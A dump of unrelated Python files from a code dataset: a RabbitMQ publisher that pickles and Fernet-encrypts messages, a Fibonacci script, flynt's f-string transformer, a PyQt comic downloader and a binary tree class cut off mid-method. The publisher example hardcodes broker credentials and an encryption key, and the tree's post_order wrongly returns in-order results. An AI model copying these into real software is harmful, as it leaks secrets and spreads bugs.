False\n\n self._amqp_url = amqp_url\n self._task_run_event = ThreadEvent()\n self._publish_tempo_sec = publish_tempo_sec\n self._thread_queue = ThreadQueue(maxsize=500)\n\n self._tempo_controller = QueueToSampleTimeControl(\n i_max=1 / self.PUBLISH_FAST_INTERVAL_SEC,\n dt = publish_tempo_sec)\n\n # will set the exchange, queue and routing_keys names for the RabbitMq\n # server running on amqp_url\n self._rabbit_exchange_name = exchange_name\n self._rabbit_routing_key = routing_key\n\n def connect(self):\n '''This method connects to RabbitMQ, returning the connection handle.\n When the connection is established, the on_connection_open method\n will be invoked by pika. If you want the reconnection to work, make\n sure you set stop_ioloop_on_close to False, which is not the default\n behavior of this adapter.\n\n :rtype: pika.SelectConnection\n\n '''\n LOGGER.info('Connecting to %s', self._amqp_url)\n return pika.SelectConnection(pika.URLParameters(self._amqp_url),\n self.on_connection_open,\n stop_ioloop_on_close=False)\n\n def on_connection_open(self, unused_connection):\n '''This method is called by pika once the connection to RabbitMQ has\n been established. It passes the handle to the connection object in\n case we need it, but in this case, we'll just mark it unused.\n\n :type unused_connection: pika.SelectConnection\n\n '''\n LOGGER.info('Connection opened')\n self.add_on_connection_close_callback()\n self.open_channel()\n\n def add_on_connection_close_callback(self):\n '''This method adds an on close callback that will be invoked by pika\n when RabbitMQ closes the connection to the publisher unexpectedly.\n\n '''\n LOGGER.info('Adding connection close callback')\n self._connection.add_on_close_callback(self.on_connection_closed)\n\n def on_connection_closed(self, connection, reply_code, reply_text):\n '''This method is invoked by pika when the connection to RabbitMQ is\n closed unexpectedly. Since it is unexpected, we will reconnect to\n RabbitMQ if it disconnects.\n\n :param pika.connection.Connection connection: The closed connection obj\n :param int reply_code: The server provided reply_code if given\n :param str reply_text: The server provided reply_text if given\n\n '''\n self._channel = None\n if self._closing:\n self._connection.ioloop.stop()\n else:\n LOGGER.warning('Connection closed, reopening in 5 seconds: (%s) %s',\n reply_code, reply_text)\n self._connection.add_timeout(5, self.reconnect)\n\n def reconnect(self):\n '''Will be invoked by the IOLoop timer if the connection is\n closed. See the on_connection_closed method.\n\n '''\n self._deliveries = []\n self._acked = 0\n self._nacked = 0\n self._message_number = 0\n\n # This is the old connection IOLoop instance, stop its ioloop\n self._connection.ioloop.stop()\n\n # Create a new connection\n self._connection = self.connect()\n\n # There is now a new connection, needs a new ioloop to run\n self._connection.ioloop.start()\n\n def open_channel(self):\n '''This method will open a new channel with RabbitMQ by issuing the\n Channel.Open RPC command. When RabbitMQ confirms the channel is open\n by sending the Channel.OpenOK RPC reply, the on_channel_open method\n will be invoked.\n\n '''\n LOGGER.info('Creating a new channel')\n self._connection.channel(on_open_callback=self.on_channel_open)\n\n def on_channel_open(self, channel):\n '''This method is invoked by pika when the channel has been opened.\n The channel object is passed in so we can make use of it.\n\n Since the channel is now open, we'll declare the exchange to use.\n\n :param pika.channel.Channel channel: The channel object\n\n '''\n LOGGER.info('Channel opened')\n self._channel = channel\n self.add_on_channel_close_callback()\n self.setup_exchange(self._rabbit_exchange_name)\n\n def add_on_channel_close_callback(self):\n '''This method tells pika to call the on_channel_closed method if\n RabbitMQ unexpectedly closes the channel.\n\n '''\n LOGGER.info('Adding channel close callback')\n self._channel.add_on_close_callback(self.on_channel_closed)\n\n def on_channel_closed(self, channel, reply_code, reply_text):\n '''Invoked by pika when RabbitMQ unexpectedly closes the channel.\n Channels are usually closed if you attempt to do something that\n violates the protocol, such as re-declare an exchange or queue with\n different parameters. In this case, we'll close the connection\n to shutdown the object.\n\n :param pika.channel.Channel: The closed channel\n :param int reply_code: The numeric reason the channel was closed\n :param str reply_text: The text reason the channel was closed\n\n '''\n LOGGER.warning('Channel was closed: (%s) %s', reply_code, reply_text)\n if not self._closing:\n self._connection.close()\n\n def setup_exchange(self, exchange_name):\n '''Setup the exchange on RabbitMQ by invoking the Exchange.Declare RPC\n command. When it is complete, the on_exchange_declareok method will\n be invoked by pika.\n\n :param str|unicode exchange_name: The name of the exchange to declare\n\n '''\n LOGGER.info('Declaring exchange %s', exchange_name)\n self._channel.exchange_declare(\n callback=self.on_exchange_declareok,\n exchange=exchange_name,\n exchange_type=self.EXCHANGE_TYPE,\n durable=False)\n\n def on_exchange_declareok(self, unused_frame):\n '''Invoked by pika when RabbitMQ has finished the Exchange.Declare RPC\n command.\n\n :param pika.Frame.Method unused_frame: Exchange.DeclareOk response frame\n\n '''\n LOGGER.info('Exchange declared')\n\n self.start_publishing()\n\n\n def start_publishing(self):\n '''This method will enable delivery confirmations and schedule the\n first message to be sent to RabbitMQ\n\n '''\n LOGGER.info('Issuing consumer related RPC commands')\n self.enable_delivery_confirmations()\n self.schedule_next_producer_heart_beat(self._publish_tempo_sec)\n\n def enable_delivery_confirmations(self):\n '''Send the Confirm.Select RPC method to RabbitMQ to enable delivery\n confirmations on the channel. The only way to turn this off is to close\n the channel and create a new one.\n\n When the message is confirmed from RabbitMQ, the\n on_delivery_confirmation method will be invoked passing in a Basic.Ack\n or Basic.Nack method from RabbitMQ that will indicate which messages it\n is confirming or rejecting.\n\n '''\n LOGGER.info('Issuing Confirm.Select RPC command')\n self._channel.confirm_delivery(self.on_delivery_confirmation)\n\n def on_delivery_confirmation(self, method_frame):\n '''Invoked by pika when RabbitMQ responds to a Basic.Publish RPC\n command, passing in either a Basic.Ack or Basic.Nack frame with\n the delivery tag of the message that was published. The delivery tag\n is an integer counter indicating the message number that was sent\n on the channel via Basic.Publish. Here we're just doing house keeping\n to keep track of stats and remove message numbers that we expect\n a delivery confirmation of from the list used to keep track of messages\n that are pending confirmation.\n\n :param pika.frame.Method method_frame: Basic.Ack or Basic.Nack frame\n\n '''\n confirmation_type = method_frame.method.NAME.split('.')[1].lower()\n LOGGER.info('Received %s for delivery tag: %i',\n confirmation_type,\n method_frame.method.delivery_tag)\n if confirmation_type == 'ack':\n self._acked += 1\n elif confirmation_type == 'nack':\n self._nacked += 1\n\n item = method_frame.method.delivery_tag\n # only remove items that exist in our list (if a previous thread was\n # canceled and this one was started we would receive delivery_tags which we\n # didn't send - this could cause the remove method to crash the producer\n if item in self._deliveries:\n self._deliveries.remove(method_frame.method.delivery_tag)\n LOGGER.info('Published %i messages, %i have yet to be confirmed, '\n '%i were acked and %i were nacked',\n self._message_number, len(self._deliveries),\n self._acked, self._nacked)\n else:\n LOGGER.info('Received delivery tag for something we did not send')\n\n def schedule_next_producer_heart_beat(self, timeout):\n '''If we are not closing our connection to RabbitMQ, schedule another\n message to be delivered in self._publish_tempo_sec seconds.\n\n '''\n if self._stopping:\n return\n\n # Scheduling next Task queue check\n LOGGER.info('Task queue check in %0.4f seconds', timeout)\n self._connection.add_timeout(timeout, self.producer_heart_beat)\n\n def publish_message(self, message):\n '''If the class is not stopping, publish a message to RabbitMQ,\n appending a list of deliveries with the message number that was sent.\n This list will be used to check for delivery confirmations in the\n on_delivery_confirmations method.\n\n Example:\n # get the message from somewhere\n message = self._thread_queue.get()\n\n # user partial of this method to make a custom callback with your message as an input\n cb = functools.partial(self.publish_message, message=message)\n\n # then load it into a timer\n self._connection.add_timeout(self.PUBLISH_FAST_INTERVAL_SEC, cb)\n '''\n if self._stopping:\n return\n properties = pika.BasicProperties(app_id='miros-rabbitmq-publisher',\n content_type='application/json',\n headers={u'version': self.PRODUCER_VERSION})\n\n self._channel.basic_publish(self._rabbit_exchange_name, self._rabbit_routing_key,\n message,\n properties)\n\n self._message_number += 1\n self._deliveries.append(self._message_number)\n LOGGER.info('Published message # %i', self._message_number)\n\n def close_channel(self):\n '''Invoke this command to close the channel with RabbitMQ by sending\n the Channel.Close RPC command.'''\n LOGGER.info('Closing the channel')\n if self._channel:\n self._channel.close()\n\n def run(self):\n '''Run the example code by connecting and then starting the IOLoop. '''\n self._connection = self.connect()\n self._connection.ioloop.start()\n\n def stop(self):\n '''Stop the example by closing the channel and connection and releasing the\n thread. We set a flag here so that we stop scheduling new messages to be\n published. The IOLoop is started because this method is\n invoked by the Try/Catch below when KeyboardInterrupt is caught.\n Starting the IOLoop again will allow the publisher to cleanly\n disconnect from RabbitMQ.\n '''\n LOGGER.info('Stopping')\n self._stopping = True\n self.close_channel()\n self.close_connection()\n self._task_run_event.clear()\n self._connection.ioloop.start()\n LOGGER.info('Stopped')\n\n def close_connection(self):\n '''This method closes the connection to RabbitMQ.'''\n LOGGER.info('Closing connection')\n self._closing = True\n self._connection.close()\n\n def producer_heart_beat(self):\n '''This is the callback that is called ever publish_tempo_sec to check to\n see if something is in the thread_queue. If there are items in this queue\n it schedules other callbacks to send out the messages, and temporarily\n increases its frequecy to deal with queue bursting.\n '''\n if self._task_run_event.is_set():\n if self._stopping:\n return\n # messages tend to bunch up, they are bursty, so speed up our\n # producer_heart_beat if there were messages in our queue\n queue_length = self._thread_queue.qsize()\n new_tempo_period_sec = self._tempo_controller.next(queue_length)\n self.schedule_next_producer_heart_beat(new_tempo_period_sec)\n\n # send out all messages in the queue\n if queue_length >= 1:\n for i in range(queue_length):\n message = self._thread_queue.get()\n cb = functools.partial(self.publish_message, message=message)\n self._connection.add_timeout(self.PUBLISH_FAST_INTERVAL_SEC, cb)\n LOGGER.info('Scheduling next output message in %0.6f seconds', self.PUBLISH_FAST_INTERVAL_SEC)\n\n def post_fifo(self, message):\n '''use this to post messages to the network'''\n self._thread_queue.put(message)\n\n def start_thread(self):\n '''Add a thread so that the run method doesn't steal our program control.'''\n self._task_run_event.set()\n self._stopping = False\n\n def thread_runner(self):\n # The run method will turn on pika's callback hell.\n # To see how this is turned off look at the producer_heart_beat\n try:\n self.run()\n except:\n self.stop_thread()\n self.connect_error = True\n\n thread = Thread(target=thread_runner, args=(self,), daemon=True)\n thread.start()\n\n def stop_thread(self):\n '''stop the thread, but keep the connection open. To close the connection\n and stop the thread, use the 'stop' api'''\n self._task_run_event.clear()\n\nclass PikaTopicPublisher(SimplePikaTopicPublisher):\n '''This is subclass of SimplePikaTopicPublisher which extends its capabilities.\n\n It can serialize and encrypt messages before it transmits them.\n While constructing it, you provide it with a\n symmetric encryption key, and optional functions for encrypting and\n serializing messages.\n\n Example:\n publisher = \\\n PikaTopicPublisher(\n amqp_url='amqp://bob:dobbs@192.168.1.69:5672/%2F?connection_attempts=3&heartbeat_interval=3600',\n routing_key='pub_thread.text',\n publish_tempo_sec=1.5,\n exchange_name='sex_change',\n encryption_key=b'u3Uc-qAi9iiCv3fkBfRUAKrM1gH8w51-nVU8M8A73Jg='\n )\n\n publisher.start_thread()\n publisher.post_fifo(\"Publish a Message\")\n publisher.stop_thread()\n '''\n def __init__(self,\n amqp_url,\n routing_key,\n publish_tempo_sec,\n exchange_name,\n encryption_key,\n encryption_function=None,\n serialization_function=None):\n\n super().__init__(\n amqp_url,\n routing_key,\n publish_tempo_sec,\n exchange_name)\n\n self._encryption_key = encryption_key\n self._rabbit_user = self.get_rabbit_user(amqp_url)\n self._rabbit_password = self.get_rabbit_password(amqp_url)\n\n # saved encryption function\n self._sef = None\n\n def default_encryption_function(message, encryption_key):\n return Fernet(encryption_key).encrypt(message)\n\n def default_serialization_function(obj):\n return pickle.dumps(obj)\n\n if encryption_function is None:\n self._sef = default_encryption_function\n else:\n self._sef = encryption_function\n\n self._encryption_function = functools.partial(self._sef,\n encryption_key=encryption_key)\n\n if serialization_function is None:\n self._serialization_function = default_serialization_function\n else:\n self._serialization_function = serialization_function\n\n def change_encryption_key(self, encryption_key):\n self.stop_thread()\n self._encryption_function = functools.partial(self._sef, encryption_key=encryption_key)\n self.start_thread()\n\n def get_rabbit_user(self, url):\n user = url.split(':')[1][2:]\n return user\n\n def get_rabbit_password(self, url):\n password = url.split(':')[2].split('@')[0]\n return password\n\n def encrypt(self, item):\n return self._encryption_function(item)\n\n def serialize(self, item):\n return self._serialization_function(item)\n\n def post_fifo(self, item):\n xsitem = self.encrypt(self.serialize(item))\n super().post_fifo(xsitem)\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO, format=LOG_FORMAT)\n # send to the raspberry pi\n pub_thread1 = \\\n PikaTopicPublisher(\n amqp_url='amqp://bob:dobbs@192.168.1.69:5672/%2F?connection_attempts=3&heartbeat_interval=3600',\n routing_key='pub_thread.text',\n publish_tempo_sec=0.5,\n exchange_name='sex_change',\n encryption_key=b'u3Uc-qAi9iiCv3fkBfRUAKrM1gH8w51-nVU8M8A73Jg='\n )\n pub_thread2 = \\\n PikaTopicPublisher(\n amqp_url='amqp://bob:dobbs@192.168.1.69:5672/%2F?connection_attempts=3&heartbeat_interval=3600',\n routing_key='pub_thread.text',\n publish_tempo_sec=0.5,\n exchange_name='sex_change',\n encryption_key=b'u3Uc-qAi9iiCv3fkBfRUAKrM1gH8w51-nVU8M8A73Jg='\n )\n pub_thread3 = \\\n PikaTopicPublisher(\n amqp_url='amqp://bob:dobbs@127.0.0.1:5672/%2F?connection_attempts=3&heartbeat_interval=3600',\n routing_key='pub_thread.text',\n publish_tempo_sec=0.5,\n exchange_name='sex_change',\n encryption_key=b'u3Uc-qAi9iiCv3fkBfRUAKrM1gH8w51-nVU8M8A73Jg='\n )\n pub_thread1.start_thread()\n pub_thread2.start_thread()\n pub_thread3.start_thread()\n\n time.sleep(2)\n for i in range(100):\n pub_thread1.post_fifo(\"Janice Library {}\".format(i))\n pub_thread1.post_fifo(\"Janice Library {}\".format(i))\n pub_thread1.post_fifo(\"Janice Library {}\".format(i))\n pub_thread1.post_fifo(\"Janice Library {}\".format(i))\n pub_thread1.post_fifo(\"Janice Library {}\".format(i))\n if i != 0 and i % 40 is 0:\n time.sleep(10)\n pub_thread1.post_fifo(\"Janice Library {}\".format(i))\n pub_thread1.post_fifo(\"Janice Library {}\".format(i))\n pub_thread2.post_fifo(\"Mervin Burr {}\".format(i))\n pub_thread3.post_fifo(\"Scott Slow {}\".format(i))\n pub_thread3.post_fifo(\"Jessica Fast {}\".format(i))\n time.sleep(0.2)\n\n pub_thread1.stop_thread()\n pub_thread2.stop_thread()\n pub_thread3.stop()\n time.sleep(3)\n\n pub_thread1.start_thread()\n pub_thread2.start_thread()\n pub_thread3.start_thread()\n time.sleep(1)\n\n pub_thread1.post_fifo(\"Last Message on 1\")\n pub_thread2.post_fifo(\"Last Message on 2\")\n print(\"trying to publish in the new thread runner\")\n pub_thread3.post_fifo(\"Last Message on 3\")\n time.sleep(0.5)\n print(\"hello world\")\n","sub_path":"experiment/rabbit/h_pika_producer.py","file_name":"h_pika_producer.py","file_ext":"py","file_size_in_byte":23534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"570973090","text":"def fib(n):\n count = 0\n a, b = 0, 1\n while n >+ count:\n print(a, end=' ')\n a, b = b, b+a\n count += 1\n print()\n\nnumberList = []\n\nnumber = int(input(\"Enter the number for fibo rows: \"))\nif number >= 1 and number <= 100:\n for i in range(number):\n numbers = int(input(\"Enter the index of fibonacci: \"))\n if number >= 1 and number <= 100:\n numberList.append(numbers)\n else:\n print(\"out of index\")\n\n for index, number in enumerate(numberList):\n fib(numberList[index])\nelse:\n print(\"out of index\")","sub_path":"Python/fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"549446006","text":"import ast\nfrom collections import deque\n\nfrom flynt.transform.format_call_transforms import matching_call, ast_string_node, joined_string, ast_formatted_value\nfrom flynt.exceptions import FlyntException\n\nimport re\n\nMOD_KEY_PATTERN = re.compile(r\"(%\\([^)]+\\)s)\")\nMOD_KEY_NAME_PATTERN = re.compile(r\"%\\(([^)]+)\\)s\")\nVAR_KEY_PATTERN = re.compile(\"%([.]?[0-9]*)[hlL]?([diouxXeEfFgGcrsa])\") # specs at https://docs.python.org/3/library/stdtypes.html#string-formatting\nobsolete_specifiers = 'hlL'\n\n\ntranslate_conversion_types = {'i': 'd', 'u': 'd'}\nconversion_methods = {'r' : '!r', 'a': '!a', 's': None}\n\ndef handle_from_mod_dict_name(node):\n \"\"\"Convert a `BinOp` `%` formatted str with a name representing a Dict on the right to an f-string.\n\n Takes an ast.BinOp representing `\"1. %(key1)s 2. %(key2)s\" % mydict`\n and converted it to a ast.JoinedStr representing `f\"1. {mydict['key1']} 2. {mydict['key2']}\"`\n\n Args:\n node (ast.BinOp): The node to convert to a f-string\n\n Returns ast.JoinedStr (f-string)\n \"\"\"\n\n format_str = node.left.s\n matches = MOD_KEY_PATTERN.findall(format_str)\n var_keys = []\n for idx, m in enumerate(matches):\n var_key = MOD_KEY_NAME_PATTERN.match(m)\n if not var_key:\n raise FlyntException(\"could not find dict key\")\n var_keys.append(var_key[1])\n\n # build result node\n result_node = ast.JoinedStr()\n result_node.values = []\n var_keys.reverse()\n blocks = MOD_KEY_PATTERN.split(format_str)\n # loop through the blocks of a string to build up dateh JoinStr.values\n for block in blocks:\n # if this block matches a %(arg)s pattern then inject f-string instead\n if MOD_KEY_PATTERN.match(block):\n fv = ast.FormattedValue(\n value=ast.Subscript(\n value=node.right, slice=ast.Index(value=ast.Str(s=var_keys.pop()))\n ),\n conversion=-1,\n format_spec=None,\n )\n\n result_node.values.append(fv)\n else:\n # no match means it's just a literal string\n result_node.values.append(ast.Str(s=block))\n return result_node\n\ndef handle_from_mod_tuple(node):\n \"\"\"Convert a `BinOp` `%` formatted str with a tuple on the right to an f-string.\n\n Takes an ast.BinOp representing `\"1. %s 2. %s\" % (a, b)`\n and converted it to a ast.JoinedStr representing `f\"1. {a} 2. {b}\"`\n\n Args:\n node (ast.BinOp): The node to convert to a f-string\n\n Returns ast.JoinedStr (f-string)\n \"\"\"\n\n format_str = node.left.s\n matches = VAR_KEY_PATTERN.findall(format_str)\n\n if len(node.right.elts) != len(matches):\n raise FlyntException(\"string formatting length mismatch\")\n\n str_vars = deque(node.right.elts)\n\n # build result node\n result_node = ast.JoinedStr()\n result_node.values = []\n blocks = deque(VAR_KEY_PATTERN.split(format_str))\n result_node.values.append(ast_string_node(blocks.popleft()))\n\n while len(blocks) > 0:\n\n fmt_prefix = blocks.popleft()\n fmt_spec = blocks.popleft()\n for c in obsolete_specifiers:\n fmt_spec = fmt_spec.replace(c, '')\n\n if fmt_spec in conversion_methods:\n if fmt_prefix:\n raise FlyntException(\"Default text alignment has changed between percent fmt and fstrings. \"\n \"Proceeding would result in changed code behaviour.\")\n fv = ast_formatted_value(str_vars.popleft(),\n fmt_str=fmt_prefix,\n conversion=conversion_methods[fmt_spec])\n else:\n fmt_spec = translate_conversion_types.get(fmt_spec, fmt_spec)\n fv = ast_formatted_value(str_vars.popleft(),\n fmt_str=fmt_prefix+fmt_spec)\n\n result_node.values.append(fv)\n result_node.values.append(ast_string_node(blocks.popleft()))\n\n return result_node\n\n\ndef handle_from_mod_generic_name(node):\n \"\"\"Convert a `BinOp` `%` formatted str with a unknown name on the `node.right` to an f-string.\n\n When `node.right` is a Name since we don't know if it's a single var or a dict so we sniff the string.\n\n `\"val: %(key_name1)s val2: %(key_name2)s\" % some_dict`\n Sniffs the left string for Dict style usage and calls: `handle_from_mod_dict_name`\n\n `\"val: %s\" % some_var`\n Borrow the core logic by injecting the name into a ast.Tuple\n\n Args:\n node (ast.BinOp): The node to convert to a f-string\n\n Returns ast.JoinedStr (f-string)\n \"\"\"\n\n has_dict_str_format = MOD_KEY_PATTERN.findall(node.left.s)\n if has_dict_str_format:\n return handle_from_mod_dict_name(node)\n\n # if it's just a name then pretend it's tuple to use that code\n node.right = ast.Tuple(elts=[node.right])\n return handle_from_mod_tuple(node)\n\ndef fstringify_node(node):\n ft = FstringifyTransformer()\n result = ft.visit(node)\n\n return (\n result,\n dict(\n changed=ft.counter > 0,\n lineno=ft.lineno,\n col_offset=ft.col_offset,\n skip=True,\n ),\n )\n\ndef handle_from_mod(node):\n if isinstance(node.right, (ast.Name, ast.Attribute, ast.Str, ast.BinOp, ast.Subscript)):\n return handle_from_mod_generic_name(node)\n\n elif isinstance(node.right, ast.Tuple):\n return handle_from_mod_tuple(node)\n\n elif isinstance(node.right, ast.Dict):\n # print(\"~~~~ Dict mod strings don't make sense to f-strings\")\n return node\n\n raise RuntimeError(\"unexpected `node.right` class\")\n\nclass FstringifyTransformer(ast.NodeTransformer):\n def __init__(self):\n super().__init__()\n self.counter = 0\n self.lineno = -1\n self.col_offset = -1\n\n\n def visit_Call(self, node: ast.Call):\n \"\"\"Convert `ast.Call` to `ast.JoinedStr` f-string\n \"\"\"\n\n match = matching_call(node)\n\n # bail in these edge cases...\n if match:\n if any(isinstance(arg, ast.Starred) for arg in node.args):\n return node\n\n if match:\n self.counter += 1\n self.lineno = node.lineno\n self.col_offset = node.col_offset\n result_node = joined_string(node)\n return result_node\n\n return node\n\n def visit_BinOp(self, node):\n \"\"\"Convert `ast.BinOp` to `ast.JoinedStr` f-string\n\n Currently only if a string literal `ast.Str` is on the left side of the `%`\n and one of `ast.Tuple`, `ast.Name`, `ast.Dict` is on the right\n\n Args:\n node (ast.BinOp): The node to convert to a f-string\n\n Returns ast.JoinedStr (f-string)\n \"\"\"\n\n percent_stringify = (\n isinstance(node.left, ast.Str)\n and isinstance(node.op, ast.Mod)\n and isinstance(node.right, (ast.Tuple, ast.Name, ast.Attribute, ast.Str, ast.Subscript))\n # ignore ast.Dict on right\n )\n\n # bail in these edge cases...\n if percent_stringify:\n no_good = [\"}\", \"{\"]\n for ng in no_good:\n if ng in node.left.s:\n return node\n for ch in ast.walk(node.right):\n # no nested binops!\n if isinstance(ch, ast.BinOp):\n return node\n # f-string expression part cannot include a backslash\n elif isinstance(ch, ast.Str) and (\n any(\n map(\n lambda x: x in ch.s,\n (\"\\n\", \"\\t\", \"\\r\", \"'\", '\"', \"%s\", \"%%\"),\n )\n )\n or \"\\\\\" in ch.s\n ):\n return node\n\n if percent_stringify:\n self.counter += 1\n self.lineno = node.lineno\n self.col_offset = node.col_offset\n result_node = handle_from_mod(node)\n return result_node\n\n return node","sub_path":"src/flynt/transform/node_transformer.py","file_name":"node_transformer.py","file_ext":"py","file_size_in_byte":7991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"73623674","text":"import glob\nimport sys\n\nfrom PyQt5.QtCore import QThread, pyqtSignal\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\n\nfrom base import SharedBase\nfrom ui import Ui_MainWindow\n\n\nclass MyMainWindow(QMainWindow, Ui_MainWindow):\n def __init__(self):\n super(MyMainWindow, self).__init__()\n self.setupUi(self)\n self.pushButton.clicked.connect(self.do)\n self.lineEdit.returnPressed.connect(self.do)\n\n def do(self):\n try:\n self.lineEdit.setDisabled(True)\n self.user_input_url = self.lineEdit.text()\n self.pushButton.setDisabled(True)\n self.checkBox.setDisabled(True)\n self.spinBox.setDisabled(True)\n self.label.setDisabled(True)\n self.base = SharedBase(self.user_input_url)\n self.site_name = self.base.get_site_name()\n if self.checkBox.isChecked():\n checkbox_value = self.spinBox.value()\n else:\n checkbox_value = False\n self.work = WorkingThread(self.site_name, self.user_input_url, checkbox_value)\n self.work.status_report_signal.connect(self.status_receive_signal)\n self.work.progress_report_signal.connect(self.progress_receive_signal)\n self.work.stop_signal.connect(self.stop_signal)\n self.work.start()\n except NameError as e:\n self.stop_signal('Website %s illegal or not supported' % e)\n\n def status_receive_signal(self, text):\n self.statusBar().showMessage(text)\n\n def progress_receive_signal(self, progress):\n self.progressBar.setProperty(\"value\", progress)\n\n def stop_signal(self, text=''):\n self.pushButton.setDisabled(False)\n self.lineEdit.setDisabled(False)\n self.checkBox.setDisabled(False)\n self.spinBox.setDisabled(False)\n self.label.setDisabled(False)\n self.statusBar().showMessage(text)\n\n\nclass WorkingThread(QThread):\n status_report_signal = pyqtSignal(str)\n progress_report_signal = pyqtSignal(float)\n stop_signal = pyqtSignal(str)\n\n def __init__(self, site_name, url, checkbox_value):\n super(WorkingThread, self).__init__()\n self.site_name = site_name\n self.user_input_url = url\n self.latest_limit = checkbox_value\n\n def run(self):\n if self.site_name == 'dm5':\n from sites import DM5 as SiteClass\n elif self.site_name == 'ck101':\n from sites import Ck101 as SiteClass\n elif self.site_name == 'dmzj':\n from sites import Dmzj as SiteClass\n elif self.site_name == 'ehentai':\n from sites import Ehentai as SiteClass\n try:\n self.website_object = SiteClass(self.user_input_url)\n self.comic_name = self.website_object.get_name()\n self.ref_box = self.website_object.get_parent_info()\n self.status_report_signal.emit('%s, total %d chapters detected.' % (self.comic_name, len(self.ref_box)))\n if self.latest_limit is not False:\n if self.latest_limit > len(self.ref_box):\n raise ValueError\n self.ref_box = self.ref_box[-self.latest_limit:]\n self.main_loop(self.ref_box)\n except ValueError as e:\n self.stop_signal.emit('Chapters selected out of range, maximum %s chapters' % len(self.ref_box))\n except ConnectionError as e:\n self.stop_signal.emit('%s, consider using a proxy or a VPN.' % e)\n\n def main_loop(self, refer_box):\n for ref_tuple in refer_box:\n title, parent_link = ref_tuple\n total_page = self.website_object.get_page_info(parent_link)\n for page in range(1, total_page + 1):\n vague_path = self.website_object.get_path(self.comic_name, title, page) + '*'\n if glob.glob(vague_path):\n self.status_report_signal.emit('%s page %d already existed.' % (title, page))\n else:\n try:\n link = self.website_object.get_image_link(parent_link, page)\n self.status_report_signal.emit('Downloading %s' % title)\n self.website_object.down(self.comic_name, parent_link, link, title, page)\n progress = page / self.website_object.get_page_info(parent_link)\n self.progress_report_signal.emit(progress * 100)\n except:\n errlog = 'Error occurred when downloading %s, Page %d.' % (title, page)\n self.status_report_signal.emit(errlog)\n self.stop_signal.emit('All Done!')\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n window = MyMainWindow()\n window.show()\n sys.exit(app.exec_())\n","sub_path":"driveit-gui.py","file_name":"driveit-gui.py","file_ext":"py","file_size_in_byte":4797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"99613851","text":"from math import pow, floor, log\nfrom random import sample\nfrom typing import List, Union\n\nclass Node(object):\n def __init__(self, value):\n self.right = self.left = self.parent = None\n self.value = value\n\nclass AVLNode(Node):\n def __init__(self, value):\n super().__init__(value)\n self.height = 0\n\nclass Tree(object):\n def __init__(self):\n self.root = None\n\n # region [Methods][Nodes | Modify]\n # region [Nodes][Print | Height | Count | Paths]\n # region [Print][Pre Order | In Order]\n # region [Pre Order]\n def print_pre_order(self):\n print('PreOrder')\n print(*map(lambda x: x.value, self.pre_order()))\n\n def pre_order(self):\n return self.__pre_order(self.root)\n\n def __pre_order(self, node: Node):\n if node:\n yield node\n yield from self.__pre_order(node.left)\n yield from self.__pre_order(node.right)\n\n # endregion\n # region [In Order]\n def print_in_order(self):\n print('InOrder')\n print(*map(lambda x: x.value, self.in_order()))\n\n def in_order(self):\n return self.__in_order(self.root)\n\n def __in_order(self, node: Node):\n if node:\n yield from self.__in_order(node.left)\n yield node\n yield from self.__in_order(node.right)\n\n # endregion\n # region [Post Order]\n def print_post_order(self):\n print('PostOrder')\n print(*map(lambda x: x.value, self.post_order()))\n\n def post_order(self):\n return self.__in_order(self.root)\n\n def __post_order(self, node: Node):\n if node:\n yield from self.__post_order(node.left)\n yield from self.__post_order(node.right)\n yield node\n\n # endregion\n # endregion\n # region [Height]\n def find_height(self) -> int:\n return self.__find_height(self.root) if self.root else 0\n\n def __find_height(self, node: Node) -> int:\n if not node: return 0\n return max([self.__find_height(node.left), self.__find_height(node.right)])+1\n\n# endregion\n # region [Count]\n def count(self):\n return self.__count(self.root)\n\n def __count(self, root):\n if not root: return 0\n return self.__count(root.left) + 1 + self.__count(root.right)\n\n # endregion\n # region [Paths]\n # region [Find]\n def find(self, value: int) -> Node:\n return self.__find(self.root, value)\n\n def __find(self, node: Node, value: int) -> Node:\n if value == node.value:\n return node\n if value < node.value and node.left:\n return self.__find(node.left, value)\n elif value > node.value and node.right:\n return self.__find(node.right, value)\n\n # endregion\n # region [Min]\n def find_min_path(self) -> list:\n if not self.root:\n return []\n\n lst = [self.root]\n node = self.root\n while node.left:\n lst.append(node.left)\n node = node.left\n return lst\n\n # endregion\n # region [Max]\n def find_max_path(self) -> list:\n if not self.root:\n return []\n\n lst = [self.root]\n node = self.root\n while node.right:\n lst.append(node.right)\n node = node.right\n return lst\n\n # endregion\n# endregion\n # endregion\n # region [Modify][Balance | Insert | Remove | Delete]\n # region [Balance][Rotation | Spine | Balance]\n # region [Rotation]\n def __rotate_right(self, top: Node):\n node = top.left\n top.left = node.right\n if node.right:\n node.right.parent = top\n node.parent = top.parent\n if not top.parent:\n self.root = node\n elif top == top.parent.right:\n top.parent.right = node\n else:\n top.parent.left = node\n node.right = top\n top.parent = node\n\n def __rotate_left(self, top: Node):\n node = top.right\n top.right = node.left\n\n if node.left:\n node.left.parent = top\n\n node.parent = top.parent\n if not top.parent:\n self.root = node\n elif top is top.parent.left:\n top.parent.left = node\n elif top is top.parent.right:\n top.parent.right = node\n node.left = top\n top.parent = node\n\n def __make_rotations(self, x):\n top = self.root\n for i in range(x):\n if top:\n self.__rotate_left(top)\n if top.parent:\n top = top.parent.right\n\n # endregion\n # region [Spine]\n def __create_spine(self):\n parent = self.root\n while parent:\n left = parent.left\n if left:\n self.__rotate_right(parent)\n parent = left\n else:\n parent = parent.right\n\n # endregion\n # region [Balance]\n def balance(self):\n root, n = self.root, self.count()\n m = int(pow(2, floor(log(n + 1, 2))) - 1)\n\n self.__create_spine()\n self.__make_rotations(n - m)\n while m > 1:\n m = m // 2\n self.__make_rotations(m)\n\n # endregion\n # endregion\n # region [Insert]\n def insert(self, value: int):\n if not self.root: self.root = Node(value)\n else:\n node = self.root\n parent = None\n while node:\n parent = node\n node = node.left if value < node.value else node.right\n\n if value < parent.value:\n parent.left = Node(value)\n parent.left.parent = parent\n else:\n parent.right = 